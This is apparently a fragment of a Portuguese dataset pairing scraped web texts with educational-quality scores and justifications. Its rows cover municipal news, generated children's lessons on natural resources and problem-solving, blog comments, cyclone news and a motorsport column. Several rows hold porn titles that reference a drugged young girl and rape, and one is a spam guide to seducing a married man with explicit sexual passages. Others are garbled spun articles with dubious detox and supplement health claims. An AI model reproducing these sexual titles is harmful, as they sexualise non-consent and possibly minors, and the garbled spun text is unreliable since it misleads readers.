São Paulo (IOUSP) e a Prefeitura de Itanhaém. O programa existe desde 2009 e já esteve em 18 cidades do litoral dos estados do Espírito Santo, Rio de Janeiro e São Paulo. A Repsol Sinopec Brasil é uma companhia de petróleo e gás e desenvolve uma série de ações em responsabilidade corporativa, sendo o projeto Plataforma Educativa uma delas. +Palavras-chave: curso, escola municipal, lixo marinho +Mais Notícias +21/06/2022 +Vacinação contra Influenza A (H1N1) para população geral já acontece em Itanhaém +02/12/2022 +Não às drogas: Proerd forma alunos das redes municipal e particular de ensino +02/12/2022 +Cultura Caiçara é tema da ll Semana dos Direitos Humanos de Itanhaém realizado pela E.M Osmar Rodrigues",original,original,original,original,3,0.6 +"Olá, pequenos exploradores! Já pararam para pensar de onde vêm as coisas que usamos no dia a dia? A água que bebemos, a madeira da nossa mesa, o algodão da nossa camiseta… Tudo isso e muito mais vem da natureza! A natureza é como uma grande amiga que nos oferece muitos presentes, e esses presentes nós chamamos de recursos naturais. + +Recursos naturais são tudo aquilo que a natureza nos dá e que podemos usar para viver e construir coisas. Eles podem ser encontrados em diferentes lugares: no solo, na água, no ar e até debaixo da terra! Por exemplo, a água que sai da torneira vem dos rios e lagos, o ar que respiramos vem da atmosfera que envolve nosso planeta, e as árvores que fornecem madeira crescem nas florestas. + +Existem diferentes tipos de recursos naturais. Alguns, como o sol, o vento e a água, são chamados de recursos renováveis. Isso significa que eles se renovam sozinhos na natureza, em um tempo relativamente curto. O sol nasce todos os dias, o vento sempre sopra e a chuva enche os rios. Mas, mesmo sendo renováveis, precisamos cuidar deles! Imagine gastar muita água sem necessidade. Mesmo que a chuva continue caindo, se todos fizerem isso, a água pode acabar faltando. + +Outros recursos, como o petróleo, o carvão mineral e os metais, são chamados de recursos não renováveis. Eles demoram milhões de anos para se formar na natureza e, uma vez que são usados, não se renovam tão rápido. Por isso, é muito importante usá-los com cuidado e procurar alternativas para substituí-los. + +Vamos pensar em alguns exemplos práticos. A energia que acende a luz da nossa casa pode vir da água dos rios (energia hidrelétrica) ou do sol (energia solar). O papel do nosso caderno vem das árvores, e o metal da nossa bicicleta vem de minérios encontrados na terra. Até mesmo a comida que comemos depende dos recursos naturais! As frutas e legumes precisam de água, sol e um solo fértil para crescer. + +Agora, pensem um pouquinho: Quais recursos naturais vocês usaram hoje? Como podemos cuidar melhor dos recursos naturais para que as futuras gerações também possam usufruir deles? Lembrem-se, a natureza é nossa amiga e precisamos cuidar dela com carinho! Ao economizar água, reciclar o lixo e plantar árvores, estamos contribuindo para um futuro mais verde e feliz para todos nós. Cuidar da natureza é cuidar de nós mesmos!",Geografia,Recursos naturais,anos iniciais (1º ao 5º ano),"O trecho apresenta informações básicas e relevantes sobre recursos naturais, utilizando linguagem acessível e exemplos práticos adequados para o ensino fundamental. Introduz conceitos importantes como recursos renováveis e não renováveis, incentivando a reflexão sobre o uso consciente e a sustentabilidade. O texto é coerente, informativo e promove a conscientização ambiental, tornando-o altamente valioso para fins educacionais.",5,1.0 +"Para não perder o hábito, durante o último fim de semana gravei mais um vlog para vocês! Já escrevi aqui e repito, é um dos vídeos que mais gosto de gravar, pois sinto que consigo chegar mais perto, mostrar quem sou de fato, minha família, nosso estilo de vida, enfim. Nos vlogs sempre tento passar minha vida real, sem máscaras ou cenas, as vezes assustando vocês sem maquiagem ou de cara inchada, mas tudo bem... *-* +Se você curte este tipo de vídeo, pega a pipoca e aperta o Play: +. +16 +16 comentários: +Grazipires 22 de julho de 2014 22:54 +Estou viciada...adoro seus vlogs beijosssssssssss +ResponderExcluir +Respostas +Tai 23 de julho de 2014 14:26 +Obrigada Grazi!! +Feliz em saber :) +Excluir +Respostas +Responder +Responder +Anônimo 22 de julho de 2014 23:02 +Adorei o vlog,aquele seu vestido é lindo!Beijo! +www.temporadapink.com +ResponderExcluir +Respostas +Tai 23 de julho de 2014 14:26 +Também amo ele, sempre quebra meu galho! +Bjs +Excluir +Respostas +Responder +Responder +Unknown 23 de julho de 2014 00:16 +Adorei o seu Blog Taise!! +estou te seguindo! bjs +espero sua visitinha! ^^ +http://pontodabelezaa.blogspot.com.br/ +ResponderExcluir +Respostas +Tai 23 de julho de 2014 14:27 +Seja super bem vinda! +Obrigada pela visita e comentário :) +Excluir +Respostas +Responder +Responder +By Quichique By Alice França 23 de julho de 2014 10:48 +Oi Tai,gosto muito dos seus vídeos,faça vídeos mostrando os pontos turistico da sua cidade,um beijo... +ResponderExcluir +Respostas +Tai 23 de julho de 2014 14:29 +Obrigada pelo carinho! +Vai ser complicado este vídeo viu?! Para ser bem sincera, aqui em Serrinha não tem pontos turísticos :( +Bjs +Excluir +Respostas +Responder +Responder +By Quichique By Alice França 23 de julho de 2014 10:54 +Tai,volte á fazer vídeos de looks,eu sempre vejo deus vídeos antigos,e acho maravilhoso,um beijo... +ResponderExcluir +Respostas +Responder +By Quichique By Alice França 23 de julho de 2014 11:00 +Tai,quem fez seu blog? Vc pode indicar? Ele é muito lindo,eu acho o mais bonito da globosfera,e olha que eu vejo muitos,até por que,quem tá na chuva é prá se molhar kkkkkkkk,um beijo e continui assim... +ResponderExcluir +Respostas +Tai 23 de julho de 2014 14:30 +Foi a Simara, ela é ótima! +Visite a lojinha dela aqui: +http://lojinha-blogchic.blogspot.com.br/ +Excluir +Respostas +Responder +Responder +By Quichique By Alice França 23 de julho de 2014 11:07 +Tai,vc tém um chemisiê,azul caneta e eu acho lindo,já está na minha lista para eu copia-lo,eu sei costurar e eu mesma faço minhas roupas,no meu canal á maioria das roupas é eu mesma quem faço,e como anda sua lojinha virtual,beijos linda... +ResponderExcluir +Respostas +Responder +Unknown 23 de julho de 2014 16:29 +é ótimo todos os seus vídeos Taise.... Volta a fazer os vídeos dos seus looks, amo. +Andei sumida mas voltei e já estou colocando todos os vídeos em dia,rrsrs e aliás ficou ainda mais linda após a cirurgia, bjusss +ResponderExcluir +Respostas +Responder +Unknown 25 de julho de 2014 00:07 +Oii Taii fiquei muito honrada de você ter lido o meu comentário do instagram no video.Sérioo meus filhos viram e ficaram felizes de ver minha foto e você falando de mim do meu carinho. +Realmente vicieii nos vlogs toda terça e quinta-feira fico aguardando os vlogs seja do seu dia a dia ou do seu final de semana,e tenho me organizado melhor nas minhas tarefas diárias para ter um tempo para atividade física como eu disse você me ajudou muito vendo toda a sua correria me animou muito.Muito obrigada por ter tido a atenção de ler e compartilhar a minha sugestão.E tenho outra sugestão que tal um #agostotododia já estava amando o #junhotododia.preciso de mais doses de Taise Walber!!!Também gostaria de saber como anda a sua dieta o que você come hoje me dia??quantas refeições ao longo do dia??e quantas horas de sono tem??Mostra você indo malhar as séries que faz ??e se faz alguma aula de dança??Beijos!!!! +ResponderExcluir +Respostas +Tai 25 de julho de 2014 08:02 +Kelly que bom que gostou de aparecer no vídeo! +Eu adorei de verdade receber aquele comentár...",original,original,original,original,0,0.0 +"Você será redirecionado automaticamente para o link ""Novinha drogada chupando e sentando na pica"" em 5 segundos",original,original,original,original,0,0.0 +"Como conquistar um homem casado e ter seu amor só para você +Como conquistar um homem casado. Em minha opinião você tem que ficar com ele e fazer essas duas técnicas abaixo. +Saiba mais no Método da libido de Caio Cesa, clique aqui. +Saiba mais Sobre Método da libido de Caio Cesa, clique aqui. +Como Enlouquecer um Homem na Cama e ter o seu amor só para você. +A mulher tenta dar mais prazer a seu parceiro beijando, lambendo, acariciando e sugando seu pênis. +A mulher deve tentar abrir a boca o mais amplo possível. +Mas essa posição também pode dar grande prazer a mulher se ela sentir todas as respostas do corpo do homem. +Sexo oral para mulheres. Todas as mulheres gostam muito desta posição porque dá muito prazer por elas. +O homem deve começar a beijar todo o corpo do parceiro com sensibilidade, ternura e amor ao qual ele é capaz. +Ele usa seus lábios e língua para estimular o clitóris e a vulva de seu parceiro. +Sabe-se que este é o melhor caminho para as mulheres alcançar o orgasmo. Mas para os homens também está despertando. +Provavelmente as outras mulheres não sabe fazer o serviço bem feito, ai você esta tendo muitas vantagem e credito para você, pois para Como conquistar um homem casado. +Não conseguimos escolher as turma na qual ele deve se encantar, por isso não se assuste se um dia você delimitar desesperadamente saber como alcançar um homem casado. +primo, você precisa tomar uma determinação: +Tentar ou não tentar?Antes de sair por ai brincando flechas em coração que já tem depositário, pense na situação constrangedora que isso pode despertar, pense na família e no lar que você virará destruindo. +Você precisa ter persuasão do que está realizando e das consequências que isso pode pegar. Mas se ainda cheio seu coração tiver fraco em conquistar um serhumano casado, continue lendo este item, que vou lhe expor algumas técnicas básicas que podem te ajudar. +Quando o questão é conquistar um gente casado o risco é suficiente grande, e você pode ter fato na sua conquista ou não, isso pode revezar de acordo com a traço que você vai agir para começar conquistá-lo. +Também é meritório que você pesquise um grão sobre a vida maridal dele, antes de se encastrar na vida do lactente. +1. Querer exclusividade não “cola”: Muitas mulheres confundem na hora de cativar um homem casado e acabam pensando que eles vão autorizar a família deles para ter um intimidade sério com elas. +Não caia nessa armadilha, pois se ele já está com outra e topou ficar com ela, dificilmente você vai ser a uma coisa mulher na vida da senhora. +Veja no vídeo debaixo algumas dicas de como desvelar-se com um relacionamento com ente casado: +2. Identificar qual é o subdivisão fraco do relacionamento ao senhor: +Para começar a agir e alcançar um homem casado você deve em maioral lugar detectar qual é o modo fraco do casamento dele Para. isso você primeiro objetiva se aproximar da linhagem dele, pois assim você conseguirá informações sobre os questões fracos que eles têm ajuntado do relacionamento. +Se você tiver uma amiga que sabe a família, ou com certeza conhecer alguém próximo a ele, aposte nisso para conhecer extraordinário a rotina e a amizade dele. +Para começar a agir e sujeitar um homem casado você deve em introdutório lugar detectar qual é o local fraco do casamento dele Para. +isso você primeiro acurada se aproximar da trato dele, pois assim você conseguirá informações sobre os temas fracos que eles têm ajuntado do relacionamento. +Se você tiver uma amiga que sabe a família, ou a sério conhecer alguém próximo a ele, aposte nisso para conhecer superior a rotina e a convívio dele. +como conquistar um homemDepois de detectar esses modos fracos é hora de principiar agir em cima deles e criar um pressuposto de ação para captar um homem casado. +A teoria é que você faça tudo isso que a esposa dele não faz por ele, seja na cama ou até bem um simples gesto de interesse. +3. Ofereça a ele aquele que a esposa dele divergência: Como falamos anteriormente, o mostra na hora de dominar um homem ca...",original,original,original,original,0,0.0 +"Então, é hora de aproveitar os novos filmes pornográficos ""filmes pornos de gays senso estrupados na rua por vaeios homem"" Escolha o seu filme xxx e assistir! +Filme porno de homem gordo gay (duração: 38:35, 2542 giorni atrás) +Porno de gay com corpo de mulher (duração: 52:19, 2089 giorni atrás) +Elenco do filme porno de as panteras a doce vingança da cunhada (duração: 50:11, 2321 giorni atrás)",original,original,original,original,0,0.0 +"Utilize ESTES suplementos alimentares elaborados pelas abelhas como complemento da sua própria alimentaçãeste ou para curar alguma condição. +Além dos suplementos de que sãeste direcionados para o crescimento muscular, Há ESTES que são para a mente, por exemplo. Atualmente, é possível encontrar suplementos de que servem para melhorar a textura da pele e de que combatem até este mesmo o stress das grandes cidades. +Durante a atividade física, este corpo precisa do Muito mais oxigênio e, para qual este sangue circule depressa, há uma dilatação conterraneo dos vasos. Nesse caso, este coração é capaz por ganhar novas fibras e artérias para irriga-lo quando estimulado a trabalhar mais. +Para não exagerar na dose e acabar engordando, prefira as versões com 50% ou Ainda mais de cacau em quantidade moderada. +Antônio Faleiros lembra que praticamente toda a rede de saúde do Estado do mé especialmentePOR DIA e elevada complexidade, ou mesmo que, do hospitais e ambulatórios Muito mais complexos, foi criada nos governos Santillo e Marconi. Diz de que os hospitais regionais foram municipalizados depois, por política equivocada, nenhumas lançar aos municípios as condições de arcar com o atendimento por pacientes de cidades vizinhas. +Leila disse: 11 por novembro do 2015 às 11:44 Que Deus me livre por qualquer doença maligna, aquela que já levou tantos Destes meus familiares em especial minha querida mãe, eu posso de que volte seu olha sobre mim e minha família qual nos livre dessa doença e nos abençoe usando muita saúpor, para qual possa ser feliz ao lado de quem eu amo e deter meus filhos. +As verbas repassadas pelo Governo Federal aos estados e municípios para a saúde, não sãeste suficientes para atender a todas os programas e as necessidades da populaçãeste, resultando numa situação caótica, onde a chamada “municipalização da saúdo”, saiba como reza a política estão falando de saúdo atual do SUS, torna-se impossível. +Pelo próximo governo Marconi, vamos entrar numa era de Ainda mais modernidade ainda, é este que espero”, diz Faleiros, 1 expert em saúde pública qual poderá realizar a diferença pelo ativo Congresso Nacional. +1 estudo recente comparou a atividade imune em quem consome os chás usando frequência, e descobriram qual o seu consumo aumenta em até 5 vezes as estão falando defesas imunológicas. +A glucosamina e a condroitina sãeste componentes naturais Destes proteoglicanos, os pilares fundamentais da cartilagem, e desempenham um papel essencial pelo desenvolvimento Argumento.",original,original,original,original,3,0.6 +"e ou não em Qualquer campo Título História do arquivo Âmbito e conteúdo Dimensão e suporte Pontos de acesso - Assuntos Pontos de acesso - Nomes Pontos de acesso - Locais Pontos de acesso de género Identificador Código de referência Texto do objeto digital Texto do instrumento de pesquisa Produtor Qualquer campo, exceto encontrar texto de ajuda +Adicionar novo critério +E +Ou +Não +Limitar resultados: +Descrição de nível superior +Filtrar os resultados por: +Nível de descrição Coleção Dossiê Folder Fundo Item Part Séries Sub subseries Sub-fundo Sub-séries +objeto digital disponível Sim Não +Instrumento de descrição documental Sim Não Gerado Transferido +Estado dos direitos de autor Public domain Under copyright Desconhecido +Designação geral do material Architectural drawing Cartographic material Digital Media Graphic material Moving images Multiple media Object Philatelic record Sound recording Technical drawing Textual material Textual record +Descrições de nível superior Todas as descrições +Filtrar por intervalo de datas: +Início +Fim +Sobreposição Exato +Use estas opções para especificar como o intervalo de datas retorna resultados. ""Exato"" significa que as datas de início e fim das descrições devolvidas devem cair inteiramente dentro do intervalo de datas introduzido. ""Sobreposição"" significa que qualquer descrição, cuja data de início ou fim tocar ou sobrepor o intervalo de datas-alvo, será devolvida.",original,original,original,original,1,0.2 +Uma proposta enriquecedora no ensino de ciências: a construção de um aquecedor solar de garrafa PET com alunos do 9º ano do Ensino Fundamental,original,original,original,original,4,0.8 +"Cairo - Um ciclone com a força de um furacão atingiu a costa do Iêmen no Mar da Arábia nesta terça-feira, inundando a quinta maior cidade do país, Mukalla, e levando milhares de pessoas a fugirem em busca de abrigo. +Funcionários do governo e meteorologistas dizem que a tempestade é a mais intensa em décadas no país de clima árido, cuja resposta à situação de emergência é dificultada pela pobreza e uma guerra civil feroz. +Em Mukalla, cuja população de 300 mil pessoas está na maior parte sob um governo de combatentes da Al Qaeda desde que o Exército se retirou da área, em abril, os carros estão sob as águas nas ruas e dezenas de famílias fugiram para um hospital por medo de deslizamentos de rochas. +Moradores disseram que o passeio público na costa e muitas casas foram destruídos pelo ciclone, chamado de Chapala. Segundo e as autoridades da província de Shabwa, uma região seca, cerca de 6.000 pessoas se mudaram para lugares mais altos. +""O vento derrubou totalmente a energia elétrica na cidade e as pessoas ficaram aterrorizadas Alguns moradores tiveram de deixar suas casas e fugir para áreas mais altas onde a inundação foi menor. Foi uma noite difícil, mas transcorreu pacificamente"", disse Sabri Saleem, que vive em Mukalla. Não havia informações, por ora, sobre feridos. +Um militante da Al Qaeda rezou no Twitter pela salvação na tempestade e disse que um aparelho não-tripulado dos Estados Unidos estava voando especialmente baixo sobre a cidade, onde o vice-líder da Al Qaeda local foi morto em um ataque aéreo em junho. +""Que Deus o faça cair"", disse o homem, que usava o nome Laith al-Mukalla. ""Deus nos poupe de sua ira, e mande as chuvas para o coração dos vales e montanhas."" +O ciclone atingiu primeiro a remota ilha iemenita de Socotra, matando três pessoas e deslocando milhares. Uma ilha de belezas naturais, Socotra fica a 380 quilômetros da costa do Iêmen, no Mar da Arábia, e abriga centenas de espécies de plantas não encontradas em nenhum outro lugar na Terra. Seus 50.000 moradores falam uma língua própria. +Agências meteorológicas previram que o Chapala tocaria a terra perto de Balhaf, local do terminal de gás natural liquefeito do Iêmen, e perderia força à medida que avançasse em direção à capital, Sanaa, no norte do país.",original,original,original,original,2,0.4 +"Sabemos viver? – Amigos da Velocidade +Estilo de Vida Qualidade de Vida +A notícia da morte do Sergio Marchionne, que estava em coma e na UTI de uma clínica da Suíça, é de cortar o coração até dos mais duros. O italiano, diretor executivo da FCA – Fiat Chrysler Automobiles – e da Ferrari. Nas suas mãos, a equipe passou por uma reestruturação depois do tufão Alonso, aquele que devasta times por onde passa, e tornou-se, novamente candidata ao título nas últimas temporadas. Ainda que não tenha havido sucesso, e, do jeito que a coisa vai este ano, talvez não seja em 2018 o ano da conquista, não podemos deixar de reconhecer a contribuição de Marchionne à equipe. +Agora, tenta colocar-se no lugar dele enquanto amargava o estado de coma em Zurich: com uma sucessão já encaminhada e pronto para começar a curtir a vida numa merecida aposentadoria, como num feitiço das piores bruxas, ele estava fadado a não viver mais. Esqueça teus planos, tuas ambições, tudo aquilo que você mais ama. “Zéfini”, como diria o personagem da Escolhinha do Professor Raimundo. Que a família dele tenha muita luz e paz para passar por este momento; não é fácil. +No automobilismo temos vários casos assim, de gente que estava fazendo o que amava e, 10 segundos depois, nem ali estava mais. Rindt, Williamson, Gilles Villeneuve, Ratzenberger, Greg Moore, Jovy Marcelo, Scott Brayton… A lista é gigantesca, mesmo em se tratando de pilotos que foram pronunciados mortos na pista. Se colocar então quem faleceu no hospital em decorrência dos ferimentos, deve dar um livro. Eles não tiveram segunda chance, não puderam se despedir dos entes queridos – com consciência – e, espera-se, faleceram fazendo aquilo que gostavam. +Para ficar em outro caso de integrante do meio que faria função semelhante à de Marchionne na Ferrari, vocês acham mesmo que o Lauda estaria até hoje na Mercedes exercendo a dupla com Toto Wolff caso Michael Schumacher estivesse em condições aptas de saúde? Um dos dois, Wolff ou Lauda, já teriam espirrado dos boxes da estrela de três pontas. Não chego ao mérito se teria o mesmo desempenho como diretor de equipe que ambos, meu ponto é que Schumacher, hoje preso a uma cama com cuidados diários, estava sendo preparado para isso. Inteligência e rapidez de raciocínio, concorde comigo ou não, o alemão tinha. +Numa outra ponta, como nem tudo são sombras, temos os casos de pilotos que deram a volta por cima. E que senhora volta. Alessandro Zanardi – cujo primeiro nome era inspiração para meu primeiro filho, porém fui vencido – e Billy Monger mostram para nós, diariamente, que em certo ponto nós não sabemos viver na plenitude. Abusando novamente da imaginação do leitor, Zanardi e Monger estavam competindo dentro de suas possibilidades quando, no caso do primeiro, uma rodada com pneus frios o colocou em posição de “T” com Alex Tagliani, e no caso do segundo, um carro com problemas serviu como muro, numa distante 15ª posição. +Zanardi, ou “segura o italiano” na voz de Téo José, conquistou medalhas de ouro e prata em Olimpíadas, além de sempre estar em uma corrida ou outra de turismo em carro adaptado numa forma competitiva. Sempre sorridente, com um astral lá nas nuvens, me deixa um com pouco de vergonha de admitir que sinto preguiça de sair da cama mais cedo em alguns dias devido à preguiça. Se ele, com toda a limitação que tem, pode fazer tudo isso, por que céus eu ou você não podemos acordar uma hora mais cedo e caminhar trinta minutos no quarteirão de casa antes de tomar um café ou banho para ir trabalhar? Olha-te no espelho, rapaz/moça! +Monger, igualmente, é um caso a se acompanhar com carinho. Após o acidente, com o qual a família não tinha condições financeiras de lidar e fez até vaquinha na rede para arcar com os custos, Billy é um show de simpatia por onde passa. De convidado de honra de Lewis Hamilton nos boxes a até testar uma Sauber adaptada este ano, o pequeno herói inglês inventou até o “leggy”: bebe champagne de dentro da prótese, numa adaptação ao “shoey” de Ri...",original,original,original,original,2,0.4 +"Formas de dislexia Trabalhos de casa - Serviço yeredacaoobvk.asbvme.us +Para tratar a dislexia é indicada realização de fonoaudiologia, psicoterapia, estratégias como professor e uso de remédios em casos específicos. A dislexia se manifesta por várias dificuldades em diferentes formas de linguagem freqüentemente incluindo, além sinais de dislexia na idade escolar. Formas de dislexia: p/ profª augusta schimidt/fev2007 disgrafia É uma inabilidade ou atraso no desenvolvimento da linguagem escrita, especialmente da escrita cursiva. Depois de diagnosticado o grau de dislexia da criança, é necessário ter paciência e entender que pode precisar de mais tempo para finalizar os seus. O que é dislexia: formas de dislexia: o livro : depoimentos: matérias : outros: downloads: home quando não de forma inadequada e, mesmo. +Tipos de dislexia problemas de discriminação de tamanhos e formas, confusões entre grupos de letras e dificuldades em transformar letras em sons. A dislexia é mais comum em crianças, mas é possível encontrar esse distúrbio em soletra a mesma palavra de formas diferentes numa mesma página. A associação brasileira de dislexia coordenadores, orientadores e diretores sobre novas formas de aprender, realiza reprogramação curricular. Sinais de dislexia: os estudantes disléxicos podem ver os textos de forma diferente, por exemplo, ver espaços onde não existe qualquer espaço. +Recentemente fiz um teste de dislexia e deu 86,7% de mas de toda forma o ideal é passar por uma avaliação para detectar se ela tem dislexia ou qualquer. O diagnóstico de dislexia é realizado com recurso a uma série tem também sido proposto que a dislexia seja melhor descrita como uma diferente forma de. Tipos de dislexia que pode encontrar tipos de dislexia: auditiva ou disfonética, a visual ou diseidética e a possível combinação das duas tipos de dislexia. +A dislexia: a forma de pensar de um disléxico a dislexia é a mãe dos transtornos de aprendizagem sendo o resultado de. +Feito o diagnóstico de dislexia e identificado o seu grau ela conta que, na medida em que os pais se informam, eles encaram o distúrbio de outra forma. +• dislexia visual ou diseidética: esse tipo de dislexia irá ocasionar dificuldades em diferir os lados direito e esquerdo formas de pagamento débito. +Disgrafia nos diferentes aspectos da dislexia, a disgrafia é caracterizada por problemas com a linguagem escrita, que dificulta a comunicação de idéias e de. Dislexia é um transtorno de aprendizagem muito comum existem diferentes tipos de dislexia que podem afectar as pessoas de diversas formas conheça-os aqui. O conteúdo é visto de forma espiral, ou seja gostaria de mais informações sobre o teste de dislexia. O mesmo não acontece com outras formas de dislexia acredito que assim como eu, provavelmente todos os disléxicos têm altas habilidades em alguma outra área. Dislexia: teorias, características e formas de intervenção (i – teorias [hipóteses, postulações] explicativas da dislexia i – história e definições da. Os sintomas que podem indicar a dislexia, antes de um diagnóstico multidisciplinar os resultados irão aparecer de forma consistente e progressiva.",original,original,original,original,3,0.6 +"Opinião Pessoal X Manipulação | O Jardim Da Magnólia +Quem já entrou de gaiato em disputas alheias, sabe bem qual é a sensação de sentir-se manipulado. Acredito que ninguém goste deste tipo de opressão porque isso aprisiona a nossa liberdade de escolha e polui o nosso discernimento, o que acaba por vezes nos influenciando a seguir determinadas linhas de pensamento que não são as mais adequadas. +Alguns indivíduos tentam nos manipular direta ou indiretamente, a ponto de nos desencorajar a tomar determinadas atitudes. Infelizmente, isso ainda ocorre em pleno o século XXI, e é preciso relembrar as pessoas de que o poder de escolha de cada um é sobretudo, uma questão de foro íntimo. +Há quem desperdice o próprio tempo para falar mal dos concorrentes comerciais, colegas de trabalho, dos amigos e muitas vezes até da própria família. Também existem os adeptos aos joguinhos mentais que agem unicamente para impor as suas ideias e julgamentos. Ambos, desprestigiam o mérito alheio e criam falsas concorrências. São pessoas movidas por sentimentos como o ciúmes ou inveja, as quais, nem sempre percebem mas tendem a comprometer as próprias amizades, o bom convívio familiar, o respeito aos seus clientes e inclusive a ética profissional. +No entanto, percebo que quem age em prejuízo dos outros vai sendo gradativamente desmascarado, pois se analisarmos a forma como essas pessoas se portam diante de algumas situações, poderemos facilmente identificar o seu verdadeiro caráter. Pois, desperdiçam tempo e energia manipulando ideias e impondo as suas verdades. +Contudo, a vida não é uma disputa de quem ganha mais ou de quem é o melhor e a gente não precisa estar o tempo inteiro escolhendo lados ou versões, tampouco entrando em disputas alheias. Então, se um dia você sentir que pode estar sendo manipulado por alguém que deseja que você ingresse num conflito que não é seu, lembre-se sempre de seguir a sua luz própria, seus valores e a sua intuição. Essa, sim é a única fidelização que deve ser levada em conta na sua tomada de decisões.",original,original,original,original,3,0.6 +"Pet Archives - Página 8 de 8 - Gazeta +Como as mulheres, as cadelas podem sentir cólicas quando estão no cio, mas em menor proporção que com as mulheres. Às vezes, as cadelas no cio tem sintomas que indicam possíveis cólicas, como mudanças de comportamento. E é possível perceber isso porque, durante esse período, algumas cachorras ficam bem mais impacientes, apresentam tremores no corpo ou ainda sensibilidade dolorosa abdominal. Esses sinais podem indicar, sim, cólicas, mas na maioria das +O seu peludo anda com agitado, estressado, doente, com medo? Bom, encontramos uma possível solução de como ervas podem ajudar o seu animal de estimação! A ideia é fazer um sache de ervas e deixar onde ele dorme e fica por mais tempo que ajuda a tratar a agitação e stress; dores e doenças e medos em geral. Quais são os tratamentos que você pode fazer? Encontramos três tratamentos e +Criar um cachorro é muito parecido de como criar uma criança. E quando se sujeitamos demais às vontades do cão também podemos desencadear o ciúme. “Não faça tudo o que ele pede, pois, se sempre for atendido, entenderá que essa atitude é aceitável e fará dela um padrão”, completa a especialista. Um cachorro que passa muito tempo no colo e não tem o hábito de ficar sozinho certamente está mais +Este hábito é chamado de coprofagia e resulta de várias possíveis causas. A começar por deficiência nutricional, que pode ser consequência ou de alimentação desbalanceada (o veterinário sugerirá uma ração adequada) ou de falta de absorção dos nutrientes. Nesse caso, se a causa for vermes que estão roubando nutrientes, a vermifugação resolve. Se não for, poderá ser síndrome de má absorção e será necessário diagnosticar a causa, já que há",original,original,original,original,1,0.2 +"Você já se sentiu como um detetive tentando desvendar um mistério? Resolver problemas de matemática é muito parecido com isso! Em vez de pistas escondidas em cenas de crime, temos números e informações que, quando organizados e compreendidos, revelam a solução. Mas como se tornar um mestre na resolução de problemas? Vamos descobrir juntos! + +Primeiro, precisamos entender que um problema de matemática é uma situação que exige uma solução, usando o que já sabemos sobre números, operações e conceitos matemáticos. Não se assuste com as palavras! Um problema pode ser algo tão simples como: ""Se tenho 15 balas e divido entre meus 3 amigos, quantas balas cada um recebe?"" ou algo mais complexo como calcular a área de um terreno para construir uma casa. + +O segredo está em seguir alguns passos. O primeiro é LER com atenção. Parece óbvio, mas muitos erros acontecem porque não entendemos o que o problema está pedindo. Sublinhe as informações importantes, como os números e as perguntas. No exemplo das balas, os números importantes são 15 e 3, e a pergunta é ""quantas balas cada um recebe?"". + +O segundo passo é PLANEJAR. Que operação matemática devo usar? Adição, subtração, multiplicação ou divisão? No nosso exemplo, estamos dividindo, então usaremos a divisão. Mas e se o problema dissesse que você ganhou mais 5 balas? Aí, depois de dividir, você teria que somar 5 à resposta! + +O terceiro passo é EXECUTAR o plano. Faça as contas com cuidado. 15 dividido por 3 é igual a 5. Então, cada amigo recebe 5 balas. Fácil, né? + +O quarto e último passo é VERIFICAR. A resposta faz sentido? No nosso exemplo, 5 balas para cada amigo parece razoável. E se tivéssemos chegado a um número negativo ou um número muito grande, como 50? Aí, saberíamos que erramos em algum lugar e precisaríamos revisar. + +Vamos a outro exemplo? Imagine que você está ajudando seus pais a organizar um churrasco. Eles precisam comprar carne para 20 pessoas, e cada pessoa come, em média, 300 gramas de carne. Quantos quilos de carne eles precisam comprar? + +Primeiro, lemos com atenção. 20 pessoas, 300 gramas por pessoa. Precisamos saber quantos quilos no total. + +Segundo, planejamos. Vamos multiplicar o número de pessoas pela quantidade de carne por pessoa: 20 x 300 = 6000 gramas. Depois, precisamos transformar gramas em quilos. Sabemos que 1 quilo tem 1000 gramas, então dividimos 6000 por 1000: 6000 / 1000 = 6 quilos. + +Terceiro, executamos as contas, como já fizemos. + +Quarto, verificamos. 6 quilos de carne para 20 pessoas parece uma quantidade razoável para um churrasco. Se desse um número muito pequeno, como 1 quilo, saberíamos que algo está errado. + +Resolver problemas é uma habilidade que se desenvolve com a prática. Quanto mais você praticar, mais fácil e divertido se tornará. Não tenha medo de errar! Os erros são oportunidades de aprendizado. E lembre-se: a matemática está em todos os lugares, desde o número de balas que você divide com seus amigos até a quantidade de carne para um churrasco! Que tal começar a procurar problemas matemáticos no seu dia a dia?",Matemática,Resolução de problemas,anos finais (6º ao 9º ano),"O trecho recebe a pontuação máxima (5) por apresentar um excelente valor educacional, sendo perfeitamente adequado para o ensino fundamental. Utiliza uma linguagem clara e envolvente, introduzindo o conceito de resolução de problemas matemáticos de forma lúdica e acessível. Apresenta um passo a passo bem estruturado, com exemplos práticos e relevantes para o cotidiano dos alunos, incentivando a prática e a reflexão sobre os resultados. Não há informações irrelevantes ou complexas.",5,1.0 +"Serão 10,5km de prova, com sinalização, banheiros e três pontos de abastecimento com água e frutas. Não serão distribuídos copos de água, então os participantes devem trazer sua própria garrafinha e abastecê-la ao longo do trajeto.",original,original,original,original,1,0.2 +"It seems you have no tags attached to pages. To attach a tag simply click on the tags button at the bottom of any page. +Watchers +rodrigofernandes2 +Watch: site | category | page +Your Blog +Included page ""clone:rodrigofernandes2"" does not exist (create it now) +Perca calorias E Impeça Doenças - 30 Apr 2018 14:35 +Tags: +Um dos grandes destaques de quem deseja emagrecer são os sucos funcionais, eles são ótimos para socorrer a reduzir as toxinas e limpar o corpo de forma eficiente e mais qualificada. Além dos sucos é impecável que as pessoas possam fazer de tudo pra absorver nutrientes que sejam ricos em fibras, porque eles auxiliam nas medidas enxutas e proporcionam maneiras diferentes de benefícios ao corpo. Insira frutas, legumes e verduras todos os dias em suas refeições, e outros aliados são os iogurtes, as farinhas de frutas e receitas light.Inicialmente, fique deitado com as costas no chão, juntamente com as pernas flexionadas e com os joelhos apontando pro teto. É indispensável manter os pés apoiados no chão. Posteriormente, levante a cota do corpo humano forçando o abdômen, sem encostar o peito nos joelhos flexionados. Apesar de ser suave e acessível, é recomendado fazer só 3 séries de 25 flexões, a cada dois dias.O Suco Detox popularizaram-se rapidamente por trazerem benefícios à saúde, bem como na expectativa de que emagrecem. Porém, as pessoas acabam tomando o suco sem saberem para qual propósito serve. Suco Detox descomplicado ajudam o fígado ir para o site a eliminar as toxinas que impedem o agradável funcionamento do nosso organismo. O fígado é o órgão qualificado de transformar todas essas toxinas e impurezas que consumimos todos os dias em substâncias elimináveis na urina e fezes.O uso de adoçantes é desaconselhado porque eles contém toxinas que prejudicam a perda de calorias, entretanto se você não resiste, experimento o Stévia, que é um adoçante natural ou use o mel, entretanto em pequenas quantidades. Pra não voltar a ganhar peso será preciso alguma obediência. O corpo humano é inteligente e, sendo assim, sempre que o 